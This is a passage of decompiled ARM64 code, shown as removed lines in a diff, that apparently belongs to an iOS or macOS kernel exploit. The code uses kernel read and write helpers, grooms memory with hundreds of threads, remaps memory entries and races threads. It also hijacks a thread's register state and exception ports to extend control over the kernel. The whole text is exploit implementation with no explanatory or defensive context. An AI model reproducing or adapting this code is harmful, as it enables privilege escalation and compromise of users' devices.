// [xsp+200h] [xbp-500h] - __int128 v127; // [xsp+210h] [xbp-4F0h] - __int128 v128; // [xsp+220h] [xbp-4E0h] - __int128 v129; // [xsp+230h] [xbp-4D0h] - __int128 v130; // [xsp+240h] [xbp-4C0h] - _QWORD v131[2]; // [xsp+250h] [xbp-4B0h] BYREF - __int64 (__fastcall *v132)(__int64, unsigned __int8); // [xsp+260h] [xbp-4A0h] - void *v133; // [xsp+268h] [xbp-498h] - __int64 v134; // [xsp+270h] [xbp-490h] - __int64 v135; // [xsp+278h] [xbp-488h] - unsigned __int64 v136; // [xsp+280h] [xbp-480h] - unsigned __int64 v137; // [xsp+288h] [xbp-478h] - unsigned __int64 v138; // [xsp+290h] [xbp-470h] - vm_size_t v139; // [xsp+298h] [xbp-468h] - __int64 v140; // [xsp+2A0h] [xbp-460h] - __int64 v141; // [xsp+2A8h] [xbp-458h] - int v142; // [xsp+2B0h] [xbp-450h] - mem_entry_name_port_t v143; // [xsp+2B4h] [xbp-44Ch] - vm_address_t v144; // [xsp+2B8h] [xbp-448h] BYREF - integer_t policy_info[4]; // [xsp+2C0h] [xbp-440h] BYREF - _QWORD v146[7]; // [xsp+2D0h] [xbp-430h] BYREF - semaphore_t v147; // [xsp+308h] [xbp-3F8h] - semaphore_t v148; // [xsp+30Ch] [xbp-3F4h] - pthread_t v149; // [xsp+310h] [xbp-3F0h] BYREF - __int64 v150; // [xsp+318h] [xbp-3E8h] BYREF - vm_address_t v151; // [xsp+320h] [xbp-3E0h] BYREF - vm_address_t v152; // [xsp+328h] [xbp-3D8h] BYREF - thread_act_t target_act; // [xsp+334h] [xbp-3CCh] BYREF - thread_act_t v154; // [xsp+338h] [xbp-3C8h] BYREF - mem_entry_name_port_t object_handle; // [xsp+33Ch] [xbp-3C4h] BYREF - vm_address_t address; // [xsp+340h] [xbp-3C0h] BYREF - vm_size_t size; // [xsp+348h] [xbp-3B8h] BYREF - vm_address_t offset; // [xsp+350h] [xbp-3B0h] BYREF - int v159; // [xsp+35Ch] [xbp-3A4h] BYREF - semaphore_t v160; // [xsp+360h] [xbp-3A0h] BYREF - semaphore_t semaphore; // [xsp+364h] [xbp-39Ch] BYREF - thread_act_t v162; // [xsp+368h] [xbp-398h] BYREF - thread_act_t child_act; // [xsp+36Ch] [xbp-394h] BYREF - __int128 v164; // [xsp+370h] [xbp-390h] BYREF - __int128 v165; // [xsp+380h] [xbp-380h] - __int128 v166; // [xsp+390h] [xbp-370h] - __int128 v167; // [xsp+3A0h] [xbp-360h] - __int128 v168; // [xsp+3B0h] [xbp-350h] - __int128 v169; // [xsp+3C0h] [xbp-340h] - __int128 v170; // [xsp+3D0h] [xbp-330h] - __int128 v171; // [xsp+3E0h] [xbp-320h] - __int128 v172; // [xsp+3F0h] [xbp-310h] - __int128 v173; // [xsp+400h] [xbp-300h] - __int128 v174; // [xsp+410h] [xbp-2F0h] - __int128 v175; // [xsp+420h] [xbp-2E0h] - __int128 v176; // [xsp+430h] [xbp-2D0h] - __int128 v177; // [xsp+440h] [xbp-2C0h] - __int128 v178; // [xsp+450h] [xbp-2B0h] - _OWORD __dst[19]; // [xsp+460h] [xbp-2A0h] BYREF - _OWORD v180[16]; // [xsp+590h] [xbp-170h] BYREF - - v2 = (__int64 *)(a1 + 8); - v104 = *(_DWORD *)(*(_QWORD *)(*(_QWORD *)(a1 + 8) + 0x20LL) + 0x140LL); - child_act = 0; - thread_create(mach_task_self_, &child_act); - v162 = 0; - thread_create(mach_task_self_, &v162); - semaphore = 0; - semaphore_create(mach_task_self_, &semaphore, 0, 0); - v160 = 0; - semaphore_create(mach_task_self_, &v160, 0, 0); - v159 = 0; - v106 = sub_35A50(*(_QWORD *)(*v2 + 0x20), 0, &v159); - do - { - offset = 0LL; - size = 0x4000LL; - address = 0LL; - vm_map(mach_task_self_, &address, 0xC000uLL, 0LL, 1, 0, 0LL, 0, 0, 0, 2u); - offset = address + 0x4000; - vm_allocate(mach_task_self_, &offset, size, 0x4000); - *(_QWORD *)offset = 0xC0C0C0C0C0C0C0C0LL; - mach_make_memory_entry(mach_task_self_, &size, offset, 3, &object_handle, 0); - v3 = sub_224B4(*v2, object_handle); - v4 = sub_10660(*v2, v3 + 0x10); - v5 = sub_10660(*v2, v4 + 0x18); - v6 = kread32(*v2, v5 + 0x3C); - if ( (v6 & 0x80000000) != 0 ) - v7 = 0x30LL * (v6 & 0x7FFFFFFF); - else - v7 = ((unsigned __int64)v6 << v159) + v106; - v8 = sub_10660(*v2, v7 + 0x20); - v9 = kread32(*v2, v7); - } - while ( (v9 & 0x80000000) == 0 ); - v95 = v7; - v10 = 0; - v109 = v8 - 0x30LL * v9 + 0x1800000000LL; - v11 = *(_QWORD *)(a1 + 8); - v12 = *(_QWORD *)(v11 + 0x20); - v13 = *(_QWORD *)(v12 + 0x19E8); - v14 = *(_QWORD *)(v12 + 0x19F0); - while ( 1 ) - { - v15 = v109 + (v10 & 0xFFFFFFF0); - v16 = sub_10660(v11, v15 + 0x18); - v17 = v16 < v13 || v16 >= v14; - if ( !v17 && (v16 & 0x3FFF) == 0 ) - { - v19 = kread32(*(_QWORD *)(a1 + 8), v15 + 0x20); - *(_QWORD *)(a1 + 0x20) = v19; - if ( v19 ) - { - v20 = (v19 & 0x80000000) != 0 ? v109 + 0x30LL * (v19 & 0x7FFFFFFF) : ((unsigned __int64)v19 << v159) + v106; - if ( (unsigned int)kread32(*v2, v20 + 0x30) > 0xFFF ) - break; - } - } - v11 = *v2; - v10 += 0x30; - } - kwrite64_via_kwritebuf(*v2, v3 + 0x18, 0LL); - kwrite64_via_kwritebuf(*v2, v3 + 0x20, 0xFFFFFFFFFFFFC000LL); - v154 = 0; - v21 = 0x100; - do - { - thread_create(mach_task_self_, &v154); - --v21; - } - while ( v21 ); - v107 = 0; - target_act = 0; - v103 = v5 + 0x30; - v102 = v95 - v106; - v94 = (void *)(a1 + 0x2C); - do - { - if ( target_act ) - thread_terminate(target_act); - thread_create(mach_task_self_, &target_act); - v22 = target_act; - *(_DWORD *)(a1 + 0x2A0) = 0; - v23 = sub_224B4(*(_QWORD *)(a1 + 8), v22); - v24 = sub_10660(*(_QWORD *)(a1 + 8), qword_48008 + v23); - v25 = sub_29CB0(*(_DWORD **)(*(_QWORD *)(a1 + 8) + 0x20LL), v24); - if ( ((v25 + 0x110) & 0x3F) == 0x10 || (v25 & 0x3FFF) > 0x3EC0 ) - goto LABEL_68; - v96 = v24; - v105 = v25 & 0x3FFF; - v100 = v25; - v101 = v25 + 0x110; - v26 = v25 & 0xFFFFFFFFFFFFC000LL; - v152 = 0LL; - memset(__dst, 0, 0x20); - sub_1062C(*(_QWORD *)(a1 + 8), v103, (__int64)__dst, 0x20LL); - HIDWORD(__dst[0]) = *(_QWORD *)(a1 + 0x20); - kwritebuf_0_or_5(*(_QWORD *)(a1 + 8), v103, (__int64)__dst, 0x20LL); - vm_map(mach_task_self_, &v152, 0x4000uLL, 0LL, 1, object_handle, v23 & 0xFFFFFFFFFFFFC000LL, 0, 3, 3, 1u); - memset(__dst, 0, 0x20); - sub_1062C(*(_QWORD *)(a1 + 8), v103, (__int64)__dst, 0x20LL); - HIDWORD(__dst[0]) = v102 >> v159; - kwritebuf_0_or_5(*(_QWORD *)(a1 + 8), v103, (__int64)__dst, 0x20LL); - v97 = qword_48008; - v98 = v152; - v151 = 0LL; - memset(__dst, 0, 0x20); - sub_1062C(*(_QWORD *)(a1 + 8), v103, (__int64)__dst, 0x20LL); - HIDWORD(__dst[0]) = *(_QWORD *)(a1 + 0x20); - kwritebuf_0_or_5(*(_QWORD *)(a1 + 8), v103, (__int64)__dst, 0x20LL); - v108 = v26; - vm_map(mach_task_self_, &v151, 0x4000uLL, 0LL, 1, object_handle, v26, 0, 3, 3, 1u); - memset(__dst, 0, 0x20); - sub_1062C(*(_QWORD *)(a1 + 8), v103, (__int64)__dst, 0x20LL); - HIDWORD(__dst[0]) = v102 >> v159; - kwritebuf_0_or_5(*(_QWORD *)(a1 + 8), v103, (__int64)__dst, 0x20LL); - v27 = v151; - v150 = 0LL; - memset(v180, 0, sizeof(v180)); - v146[0] = _NSConcreteStackBlock; - v146[1] = 0xC0000000LL; - v146[2] = sub_125E4; - v146[3] = &unk_44870; - v147 = v160; - v148 = semaphore; - v146[4] = &v150; - v146[5] = &target_act; - v146[6] = v180; - pthread_create(&v149, 0LL, (void *(__cdecl *)(void *))sub_111B4, v146); - semaphore_wait(semaphore); - v28 = pthread_mach_thread_np(v149); - *(_OWORD *)policy_info = xmmword_42F00; - thread_policy_set(v28, 2u, policy_info, 4u); - v29 = sub_224B4(*(_QWORD *)(a1 + 8), v28); - if ( !v107 ) - { - v107 = 0; - for ( i = 0xFCLL; i < 0x2FC; i += 4LL ) - { - v31 = kread32(*v2, v29 + i + 4); - if ( v31 == policy_info[0] ) - { - v32 = kread32(*v2, v29 + i + 8); - if ( v32 == policy_info[1] ) - { - v33 = kread32(*v2, v29 + i + 0xC); - v34 = v107; - if ( v33 == policy_info[2] ) - v34 = i + 4; - v107 = v34; - } - } - } - } - v35 = (__int64 *)(v98 + (v23 & 0x3FFF) + v97); - v36 = v27 + v105; - sub_10708(*(_QWORD *)(a1 + 8), v29 + v107 + 4, 1); - *(_OWORD *)policy_info = xmmword_42F10; - v37 = mach_thread_self(); - thread_policy_set(v37, 2u, policy_info, 4u); - v38 = *(_QWORD *)(a1 + 8); - v39 = mach_thread_self(); - v40 = sub_224B4(v38, v39) + v107; - sub_10708(*(_QWORD *)(a1 + 8), v40, 0x7FFFFFFF); - sub_10708(*(_QWORD *)(a1 + 8), v40 + 4, 0x7FFFFFFF); - sub_10708(*(_QWORD *)(a1 + 8), v40 + 8, 0x7FFFFFFF); - sub_10708(*(_QWORD *)(a1 + 8), v40 + 0xC, 0x100); - kwrite64_via_kwritebuf(*(_QWORD *)(a1 + 8), v40 + 0x10, 0xFFFFFFFFFFFFFFFLL); - semaphore_signal(v160); - v35[0xFFFFFFFF] = 0LL; - v41 = *(_QWORD *)(v27 + v105 + 0x128); - if ( (*(_DWORD *)(v36 + 0x110) & 0x1000) != 0 ) - v42 = 0x400208; - else - v42 = 0x400204; - *(_DWORD *)(a1 + 0x294) = v42; - v43 = v42 | 0x3C0; - *(_DWORD *)(a1 + 0x290) = v43; - *(_DWORD *)(v36 + 0x110) = v43; - if ( v104 <= 0x2711 ) - *v35 = 0LL; - thread_switch(0, 0, 0); - v150 = 1LL; - while ( v150 == 1 ) - { - if ( *v35 ) - { - v44 = v35[0xFFFFFFFF]; - if ( sub_29CB0(*(_DWORD **)(*v2 + 0x20), *v35) == v44 ) - { - *v35 = v96; - goto LABEL_47; - } - } - } - v44 = 0LL; -LABEL_47: - pthread_join(v149, 0LL); - if ( v104 <= 0x2711 ) - *v35 = v44; - v45 = 0LL; - while ( 1 ) - { - v46 = *(_DWORD *)((char *)v180 + v45); - if ( v46 ) - { - if ( sub_224B4(*v2, v46) == v23 ) - break; - } - v45 += 4LL; - if ( v45 == 0x100 ) - { - v47 = v150; - goto LABEL_55; - } - } - v150 = 3LL; - *(_DWORD *)(a1 + 0x2A0) = *(_DWORD *)((char *)v180 + v45); - *(_DWORD *)((char *)v180 + v45) = 0; - v47 = 3LL; -LABEL_55: - v48 = *(_QWORD *)(v36 + 0x128); - if ( v41 == v48 || v48 == 0 || v47 != 3 ) - { - v51 = *(_DWORD *)(a1 + 0x2A0); - if ( v51 + 1 >= 2 ) - { - thread_terminate(v51); - *(_DWORD *)(a1 + 0x2A0) = 0; - } - for ( j = 0LL; j != 0x100; j += 4LL ) - { - v53 = *(_DWORD *)((char *)v180 + j); - if ( v53 ) - thread_terminate(v53); - } -LABEL_68: - v54 = 0x57; - continue; - } - v55 = *(_DWORD **)(*v2 + 0x20); - v56 = v55[0x50]; - has_flag = krw_ctx_has_flag(v55, 0x5584201); - if ( v56 >= 0x225C ) - { - v58 = 0xB8LL; - if ( has_flag ) - v58 = 0x70LL; - v59 = v58 + (v23 & 0x3FFF); - v60 = *(_DWORD *)(v59 + v152); - if ( (v60 & 0x8000) == 0 ) - *(_DWORD *)(v152 + v59) = v60 | 0x8000; - } - v61 = 0x100; - do - { - thread_create(mach_task_self_, &v154); - if ( v154 ) - { - v62 = sub_224B4(*v2, v154); - if ( validate_addr(*(_QWORD *)(*v2 + 0x20), v62) ) - { - kwrite64_via_kwritebuf(*v2, v62 + qword_48008 - 8, 0LL); - thread_terminate(v154); - v154 = 0; - } - } - --v61; - } - while ( v61 ); - kwrite64_via_kwritebuf(*v2, v23 + qword_48008 - 8, v100); - kwrite64_via_kwritebuf(*v2, qword_48008 + v23, v96); - v63 = kread32(*v2, v20); - if ( (v63 & 0x80000000) != 0 ) - { - v65 = v109 + 0x30LL * (v63 & 0x7FFFFFFF); - v64 = v106; - } - else - { - v64 = v106; - v65 = ((unsigned __int64)v63 << v159) + v106; - } - while ( sub_10660(*v2, v65 + 0x18) != v108 ) - { - v66 = kread32(*v2, v65 + 8); - if ( (v66 & 0x80000000) != 0 ) - v65 = v109 + 0x30LL * (v66 & 0x7FFFFFFF); - else - v65 = ((unsigned __int64)v66 << v159) + v64; - } - if ( v65 >= v109 ) - v67 = ((v65 - v109) / 0x30) | 0x80000000; - else - v67 = (v65 - v64) >> v159; - v99 = v67; - v144 = 0LL; - memset(__dst, 0, 0x20); - sub_1062C(*(_QWORD *)(a1 + 8), v103, (__int64)__dst, 0x20LL); - HIDWORD(__dst[0]) = *(_QWORD *)(a1 + 0x20); - kwritebuf_0_or_5(*(_QWORD *)(a1 + 8), v103, (__int64)__dst, 0x20LL); - vm_map(mach_task_self_, &v144, 0x4000uLL, 0LL, 1, object_handle, v108, 0, 3, 3, 1u); - memset(__dst, 0, 0x20); - sub_1062C(*(_QWORD *)(a1 + 8), v103, (__int64)__dst, 0x20LL); - HIDWORD(__dst[0]) = v102 >> v159; - kwritebuf_0_or_5(*(_QWORD *)(a1 + 8), v103, (__int64)__dst, 0x20LL); - *(_QWORD *)(a1 + 0x18) = v144 + v105; - sub_10708(*(_QWORD *)(a1 + 8), v101, *(_DWORD *)(a1 + 0x290)); - memcpy(__dst, *(const void **)(a1 + 0x18), sizeof(__dst)); - v68 = sub_10660(*(_QWORD *)(a1 + 8), v95); - v69 = sub_10660(*(_QWORD *)(a1 + 8), v65 + 8); - v131[0] = _NSConcreteStackBlock; - v131[1] = 0xC0000000LL; - v132 = sub_12678; - v133 = &unk_44890; - v134 = a1; - v135 = v95; - v136 = v99; - v137 = v65; - v138 = v106; - v139 = size; - v142 = v159; - v143 = object_handle; - v140 = v69; - v141 = v68; - v70 = sub_224B4(*(_QWORD *)(a1 + 8), v162); - v71 = *(_DWORD **)(*(_QWORD *)(a1 + 8) + 0x20LL); - v72 = sub_10660(*(_QWORD *)(a1 + 8), qword_48008 + v70); - *(_QWORD *)(a1 + 0x168) = sub_29D2C(v71, v72); - v73 = sub_224B4(*(_QWORD *)(a1 + 8), child_act); - v74 = *(_DWORD **)(*(_QWORD *)(a1 + 8) + 0x20LL); - v75 = sub_10660(*(_QWORD *)(a1 + 8), qword_48008 + v73); - *(_QWORD *)(a1 + 0x178) = sub_29D2C(v74, v75); - v76 = sub_1091C(a1, 0x10000); - *(_QWORD *)(a1 + 0x298) = v76; - v129 = 0u; - v130 = 0u; - v127 = 0u; - v128 = 0u; - v125 = 0u; - v126 = 0u; - v123 = 0u; - v124 = 0u; - v121 = 0u; - v122 = 0u; - v119 = 0u; - v120 = 0u; - v117 = 0u; - v118 = 0u; - v115 = 0u; - v116 = 0u; - *(_OWORD *)v114 = 0u; - *(_OWORD *)(a1 + 0x270) = 0u; - *(_OWORD *)(a1 + 0x280) = 0u; - *(_OWORD *)(a1 + 0x250) = 0u; - *(_OWORD *)(a1 + 0x260) = 0u; - *(_OWORD *)(a1 + 0x230) = 0u; - *(_OWORD *)(a1 + 0x240) = 0u; - *(_OWORD *)(a1 + 0x210) = 0u; - *(_OWORD *)(a1 + 0x220) = 0u; - *(_OWORD *)(a1 + 0x1F0) = 0u; - *(_OWORD *)(a1 + 0x200) = 0u; - *(_OWORD *)(a1 + 0x1D0) = 0u; - *(_OWORD *)(a1 + 0x1E0) = 0u; - *(_OWORD *)(a1 + 0x1B0) = 0u; - *(_OWORD *)(a1 + 0x1C0) = 0u; - *(_OWORD *)(a1 + 0x190) = 0u; - *(_OWORD *)(a1 + 0x1A0) = 0u; - *(_QWORD *)(a1 + 0x180) = *(_QWORD *)(a1 + 0x168); - *(_QWORD *)(a1 + 0x188) = 0xC0C0C0C0LL; - *(_QWORD *)(a1 + 0x228) = *(_QWORD *)(a1 + 0x178); - *(_QWORD *)(a1 + 0x280) = qword_48010; - *(_QWORD *)(a1 + 0x270) = qword_48030; - *(_DWORD *)(a1 + 0x28C) = 0; - *(_QWORD *)(a1 + 0x278) = v76 + 0x7F00; - *(_QWORD *)(a1 + 0x268) = 0xC0C0C0C0C0C0C0C0LL; - sub_10708(*(_QWORD *)(a1 + 8), v76, 0xC0C0C0C0); - v77 = 0xFFFFFFFFFFFFC000LL; - do - { - sub_10708(*(_QWORD *)(a1 + 8), v77 + *(_QWORD *)(a1 + 0x298) + 0x8000, v77 - 0x3F3EBF40); - v77 += 0x4000LL; - } - while ( v77 < 0x8000 ); - memcpy(*(void **)(a1 + 0x18), __dst, 0x130uLL); - thread_set_state(*(_DWORD *)(a1 + 0x2A0), 6, (thread_state_t)(a1 + 0x180), 0x44u); - v78 = sub_10660(*(_QWORD *)(a1 + 8), v100 + 0x128); - memcpy(*(void **)(a1 + 0x18), __dst, 0x130uLL); - thread_set_state(*(_DWORD *)(a1 + 0x2A0), 6, v114, 0x44u); - sub_10660(*(_QWORD *)(a1 + 8), v100 + 0x128); - kread32(*(_QWORD *)(a1 + 8), v101); - while ( 1 ) - { - memcpy(*(void **)(a1 + 0x18), __dst, 0x130uLL); - v150 = 0LL; - v111[0] = _NSConcreteStackBlock; - v111[1] = 0xC0000000LL; - v111[2] = sub_12754; - v111[3] = &unk_448B0; - v112 = v160; - v113 = semaphore; - v111[4] = a1; - v111[5] = &v150; - pthread_create(&v149, 0LL, (void *(__cdecl *)(void *))sub_111B4, v111); - semaphore_wait(semaphore); - semaphore_signal(v160); - *(_QWORD *)(*(_QWORD *)(a1 + 0x18) + 0xF0LL) = 0LL; - v132((__int64)v131, 8u); - v150 = 1LL; - v79 = *(_QWORD *)(a1 + 0x18); - v80 = (_DWORD *)(v79 + 0x110); - v81 = (_QWORD *)(v79 + 0x128); - v82 = (_QWORD *)(v79 + 0xF0); - v83 = *(_DWORD *)(a1 + 0x290); - do - { - *v80 = v83; - *v81 = v48; - } - while ( !*v82 ); - v132((__int64)v131, 1u); - pthread_join(v149, 0LL); - v84 = sub_10660(*(_QWORD *)(a1 + 8), v100 + 0x128); - if ( v84 != v78 && v84 != v48 && v84 != v41 ) - { - v85 = *(_QWORD *)(a1 + 0x18); - if ( *(_DWORD *)(v85 + 0x110) == *(_DWORD *)(a1 + 0x290) - && v84 - && *(_QWORD *)(v85 + 0x108) == *(_QWORD *)(a1 + 0x280) - && *(_QWORD *)(v85 + 0xF8) == *(_QWORD *)(a1 + 0x270) ) - { - break; - } - } - } - memcpy(v94, (const void *)v85, 0x130uLL); - sub_10660(*(_QWORD *)(a1 + 8), *(_QWORD *)(a1 + 0x168) + 0x128LL); - mach_port_allocate(mach_task_self_, 1u, (mach_port_name_t *)(a1 + 0x170)); - mach_port_insert_right(mach_task_self_, *(_DWORD *)(a1 + 0x170), *(_DWORD *)(a1 + 0x170), 0x14u); - thread_set_exception_ports(*(_DWORD *)(a1 + 0x2A0), 0x1BFEu, *(_DWORD *)(a1 + 0x170), 2, 0x11); - thread_resume(*(_DWORD *)(a1 + 0x2A0)); - v86 = (mach_msg_header_t *)calloc(1uLL, 0x800uLL); - *(_QWORD *)(a1 + 0x10) = v86; - mach_msg(v86, 2, 0, 0x400u, *(_DWORD *)(a1 + 0x170), 0, 0); - sub_10660(*(_QWORD *)(a1 + 8), *(_QWORD *)(a1 + 0x168) + 0x128LL); - memcpy(*(void **)(a1 + 0x18), v94, 0x130uLL); - v87 = *(_QWORD *)(a1 + 0x168) & 0xFFFFFFFFFFFFC000LL; - v88 = *(_QWORD *)(a1 + 0x168) & 0x3FFFLL; - v110 = 0LL; - v164 = 0u; - v165 = 0u; - sub_1062C(*(_QWORD *)(a1 + 8), v103, (__int64)&v164, 0x20LL); - HIDWORD(v164) = *(_QWORD *)(a1 + 0x20); - kwritebuf_0_or_5(*(_QWORD *)(a1 + 8), v103, (__int64)&v164, 0x20LL); - vm_map(mach_task_self_, &v110, 0x4000uLL, 0LL, 1, object_handle, v87, 0, 3, 3, 1u); - v164 = 0u; - v165 = 0u; - sub_1062C(*(_QWORD *)(a1 + 8), v103, (__int64)&v164, 0x20LL); - HIDWORD(v164) = v102 >> v159; - kwritebuf_0_or_5(*(_QWORD *)(a1 + 8), v103, (__int64)&v164, 0x20LL); - v89 = v110 + v88; - *(_QWORD *)(a1 + 0x160) = v110 + v88; - *(_QWORD *)(v89 + 0x108) = 0x41414141LL; - *(_DWORD *)(v89 + 0x110) = 0; - *(_QWORD *)(v89 + 0xF8) = 0x42424242LL; - *(_OWORD *)(v89 + 0x88) = xmmword_42F20; - sub_109F8(a1, *(_QWORD *)(a1 + 0x168), 0x41414141LL, 0, 0x42424242LL, 0x43434343LL, 0x44444444LL); - v178 = 0u; - v177 = 0u; - v176 = 0u; - v175 = 0u; - v174 = 0u; - v172 = 0u; - v173 = 0u; - v170 = 0u; - v171 = 0u; - v168 = 0u; - v169 = 0u; - v166 = 0u; - v167 = 0u; - v164 = 0u; - v165 = 0u; - sub_10B90(a1, qword_48040, (__int64)&v164); - kwrite64_via_kwritebuf(*(_QWORD *)(a1 + 8), *(_QWORD *)(a1 + 0x298) + 0xF008LL, *(_QWORD *)(a1 + 0x298) + 0xEFE0LL); - v90 = *(_QWORD *)(a1 + 8); - v91 = *(_QWORD *)(a1 + 0x298) + 0xF010LL; - v92 = (*(__int64 (__fastcall **)(__int64))(*(_QWORD *)a1 + 0x10LL))(a1); - kwrite64_via_kwritebuf(v90, v91, v92); - *(_DWORD *)(a1 + 0x28) = v162; - if ( semaphore + 1 >= 2 ) - semaphore_destroy(mach_task_self_, semaphore); - if ( v160 + 1 >= 2 ) - semaphore_destroy(mach_task_self_, v160); - v54 = 1; - } - while ( v54 == 0x57 ); - return 0LL; -} -// 42F00: using guessed type __int128 xmmword_42F00; -// 42F10: using guessed type __int128 xmmword_42F10; -// 42F20: using guessed type __int128 xmmword_42F20; -// 48008: using guessed type __int64 qword_48008; -// 48010: using guessed type __int64 qword_48010; -// 48030: using guessed type __int64 qword_48030; -// 48040: using guessed type __int64 qword_48040; - -//----- (00000000000125E4) ---------------------------------------------------- -__int64 __fastcall sub_125E4(__int64 a1) -{ - __int64 i; // x20 - __int64 result; // x0 - _QWORD *v4; // x9 - - __semwait_signal(); - while ( !**(_QWORD **)(a1 + 0x20) ) - ; - thread_terminate(**(_DWORD **)(a1 + 0x28)); - for ( i = 0LL; i != 0x100; i += 4LL ) - result = thread_create(mach_task_self_, (thread_act_t *)(*(_QWORD *)(a1 + 0x30) + i)); - v4 = *(_QWORD **)(a1 + 0x20); - **(_DWORD **)(a1 + 0x28) = 0; - *v4 = 2LL; - return result; -} - -//----- (0000000000012678) ---------------------------------------------------- -__int64 __fastcall sub_12678(__int64 a1, unsigned __int8 a2) -{ - __int64 v4; // x21 - __int64 v5; // x8 - mem_entry_name_port_t object_handle; // [xsp+Ch] [xbp-24h] BYREF - - object_handle = 0; - v4 = *(_QWORD *)(a1 + 0x20); - kwrite64_via_kwritebuf( - *(_QWORD *)(v4 + 8), - *(_QWORD *)(a1 + 0x28), - *(_QWORD *)(a1 + 0x30) | (*(_QWORD *)(a1 + 0x30) << 0x20)); - v5 = (*(_QWORD *)(a1 + 0x28) - *(_QWORD *)(a1 + 0x40)) >> *(_DWORD *)(a1 + 0x60); - kwrite64_via_kwritebuf(*(_QWORD *)(v4 + 8), *(_QWORD *)(a1 + 0x38) + 8LL, v5 | (v5 << 0x20)); - mach_make_memory_entry( - mach_task_self_, - (vm_size_t *)(a1 + 0x48), - 0LL, - (a2 << 0x18) | 0x10003, - &object_handle, - *(_DWORD *)(a1 + 0x64)); - kwrite64_via_kwritebuf(*(_QWORD *)(v4 + 8), *(_QWORD *)(a1 + 0x38) + 8LL, *(_QWORD *)(a1 + 0x50)); - kwrite64_via_kwritebuf(*(_QWORD *)(v4 + 8), *(_QWORD *)(a1 + 0x28), *(_QWORD *)(a1 + 0x58)); - return mach_port_destroy(mach_task_self_, object_handle); -} - -//----- (0000000000012754) ---------------------------------------------------- -__int64 __fastcall sub_12754(__int64 a1) -{ - __int64 v2; // x20 - thread_act_t v3; // w0 - __int64 vars8; // [xsp+18h] [xbp+8h] - - v2 = *(_QWORD *)(a1 + 0x20); - __semwait_signal(); - while ( !**(_QWORD **)(a1 + 0x28) ) - ; - v3 = *(_DWORD *)(v2 + 0x2A0); - if ( ((vars8 ^ (2 * vars8)) & 0x4000000000000000LL) != 0 ) - __break(0xC471u); - return thread_set_state(v3, 6, (thread_state_t)(v2 + 0x180), 0x44u); -} -// 127B0: variable 'vars8' is possibly undefined - -//----- (00000000000127C0) ---------------------------------------------------- -__int64 __fastcall sub_127C0(__int64 a1) -{ - __int64 v2; // x0 - _DWORD *v3; // x20 - __int64 v4; // x0 - unsigned __int64 v5; // x0 - __int64 v6; // x22 - __int64 v7; // x24 - vm_address_t v8; // x20 - __int64 v9; // x21 - __int64 result; // x0 - int v11; // w23 - __int64 v12; // x24 - __int128 v13; // [xsp+0h] [xbp-70h] BYREF - __int128 v14; // [xsp+10h] [xbp-60h] - - v2 = *(_QWORD *)(a1 + 8); - v3 = *(_DWORD **)(v2 + 0x20); - v4 = sub_10660(v2, *(_QWORD *)(v2 + 0x10) + 0x28LL); - v5 = sub_29D2C(v3, v4); - v6 = sub_10660(*(_QWORD *)(a1 + 8), v5 + 0x18); - while ( 1 ) - { - v7 = v6; - v8 = sub_10660(*(_QWORD *)(a1 + 8), v6 + 0x10); - v9 = sub_10660(*(_QWORD *)(a1 + 8), v6 + 0x18); - result = kread32(*(_QWORD *)(a1 + 8), v6 + 0x48); - if ( v8 == 0x1000000000LL ) - break; - v11 = result; - v6 = sub_10660(*(_QWORD *)(a1 + 8), v6 + 8); - if ( v11 < 0 ) - { - v13 = 0u; - v14 = 0u; - v12 = v7 + 0x30; - sub_1062C(*(_QWORD *)(a1 + 8), v12, (__int64)&v13, 0x20LL); - HIDWORD(v13) = *(_QWORD *)(a1 + 0x20); - kwritebuf_0_or_5(*(_QWORD *)(a1 + 8), v12, (__int64)&v13, 0x20LL); - v13 = 0u; - v14 = 0u; - sub_1062C(*(_QWORD *)(a1 + 8), v12, (__int64)&v13, 0x20LL); - DWORD2(v14) = v11 & 0x7FFFFFFF; - kwritebuf_0_or_5(*(_QWORD *)(a1 + 8), v12, (__int64)&v13, 0x20LL); - vm_deallocate(mach_task_self_, v8, v9 - v8); - } - } - return result; -} - -//----- (0000000000012954) ---------------------------------------------------- -__int64 __fastcall sub_12954(const void *a1, const void *a2) -{ - __int64 v2; // x20 - CFTypeID v5; // x22 - CFTypeID v6; // x22 - void (__cdecl *v7)(const void *, const void *, void *); // x0 - unsigned int v9; // [xsp+0h] [xbp-30h] BYREF - const void *v10; // [xsp+8h] [xbp-28h] - - v2 = 0xAD001LL; - if ( a1 ) - { - v5 = CFGetTypeID(a1); - if ( v5 == CFDictionaryGetTypeID() ) - { - if ( a2 ) - { - v6 = CFGetTypeID(a2); - if ( v6 == CFDictionaryGetTypeID() ) - { - v9 = 0; - v10 = a1; - v7 = (void (__cdecl *)(const void *, const void *, void *))nullsub_1(sub_129F8); - CFDictionaryApplyFunction((CFDictionaryRef)a2, v7, &v9); - return v9; - } - } - } - } - return v2; -} -// 19728: using guessed type __int64 __fastcall nullsub_1(_QWORD); - -//----- (00000000000129F8) ---------------------------------------------------- -void __fastcall sub_129F8(const void *a1, CFTypeRef cf, __int64 a3) -{ - CFTypeID v6; // x22 - CFTypeID v7; // x22 - int v8; // w23 - void *v9; // x21 - CFTypeID v10; // x22 - CFTypeID v11; // x22 - CFTypeID v12; // x22 - CFIndex Count; // x22 - void (__cdecl *v14)(const void *, void *); // x0 - CFIndex v15; // x21 - void (__cdecl *v16)(const void *, void *); // x0 - int v17; // w8 - void *value; // [xsp+8h] [xbp-48h] BYREF - int context; // [xsp+10h] [xbp-40h] BYREF - void *v20; // [xsp+18h] [xbp-38h] - CFRange v21; // 0:x1.16 - CFRange v22; // 0:x1.16 - - if ( !a3 || *(_DWORD *)a3 ) - return; - if ( !a1 || !cf ) - { - v17 = 0xAD001; -LABEL_22: - *(_DWORD *)a3 = v17; - return; - } - v6 = CFGetTypeID(cf); - if ( CFStringGetTypeID() != v6 && CFArrayGetTypeID() != v6 && CFBooleanGetTypeID() != v6 && CFNumberGetTypeID() != v6 ) - goto LABEL_21; - value = 0LL; - if ( !CFDictionaryGetValueIfPresent(*(CFDictionaryRef *)(a3 + 8), a1, (const void **)&value) ) - goto LABEL_19; - v7 = CFGetTypeID(value); - if ( CFGetTypeID(cf) != v7 ) - { -LABEL_21: - v17 = 0xAD014; - goto LABEL_22; - } - if ( CFArrayGetTypeID() == v7 ) - { - v8 = 0xAD001; - v9 = value; - if ( value ) - { - v10 = CFGetTypeID(value); - if ( v10 == CFArrayGetTypeID() ) - { - v11 = CFGetTypeID(cf); - if ( v11 == CFArrayGetTypeID() ) - { - v12 = CFGetTypeID(cf); - if ( v12 == CFArrayGetTypeID() ) - { - LOBYTE(context) = 1; - Count = 